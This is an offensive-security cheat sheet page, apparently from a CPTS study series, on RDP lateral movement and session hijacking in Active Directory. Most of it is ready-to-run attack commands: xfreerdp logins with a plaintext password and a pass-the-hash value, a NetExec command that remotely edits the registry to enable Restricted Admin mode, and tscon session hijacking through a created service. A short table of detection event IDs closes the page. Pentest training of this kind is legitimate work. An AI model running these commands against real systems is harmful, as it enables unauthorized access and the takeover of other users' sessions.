AD^:Active Directory

Attack #56 — RDP Lateral Movement and Hijacking

RDP (Remote Desktop Protocol, port 3389) provides full GUI access to remote systems. Beyond standard RDP with credentials, attackers can hijack existing…

advancedupdated 2026-08-10NetExec · PowerShell

⚫ Attack #56 — RDP Lateral Movement & Hijacking


📖 How It Works

RDP (Remote Desktop Protocol, port 3389) provides full GUI access to remote systems. Beyond standard RDP with credentials, attackers can hijack existing disconnected sessions (session stealing) from a SYSTEM context without knowing the user’s password — using tscon.exe to switch to another user’s session.


⚙️ Prerequisites

RequirementDetail
Valid credentials or PtHFor standard RDP
SYSTEM access on targetFor session hijacking
RDP enabledPort 3389 open

💻 Full Commands

🔴 Standard RDP

# ── From Linux ────────────────────────────────────────────────────────────────
xfreerdp /u:Administrator /p:'Password1' /v:10.10.10.10 /cert-ignore /dynamic-resolution

# ── PtH with RDP (Restricted Admin mode required) ────────────────────────────
xfreerdp /u:Administrator /pth:2b576acbe6bcfda7294d6bd18041b8fe /v:10.10.10.10

# ── Enable Restricted Admin (for PtH to work) ────────────────────────────────
nxc smb 10.10.10.10 -u Administrator -H <hash> -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f'

🔴 RDP Session Hijacking

# ── As SYSTEM, list active sessions ───────────────────────────────────────────
query user
# USERNAME    SESSIONNAME   ID    STATE
# admin_user  rdp-tcp#1     2     Disconnected  ← target this

# ── Hijack disconnected session (as SYSTEM, no password needed) ───────────────
# Create service to run tscon as SYSTEM:
sc create sesshijack binPath= "cmd.exe /c tscon 2 /dest:console"
net start sesshijack
# Or directly as SYSTEM:
tscon 2 /dest:console
# You are now in admin_user's RDP session

🛡️ Detection — Event IDs

Event IDSourceWhat to Look For
4624Security LogLogon Type 10 (RemoteInteractive)
4778Security LogSession reconnected — session hijacking indicator
4779Security LogSession disconnected
1149TerminalServices-RemoteConnectionManagerRemote connection established

✅ Attack #56 — RDP Lateral Movement complete.

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.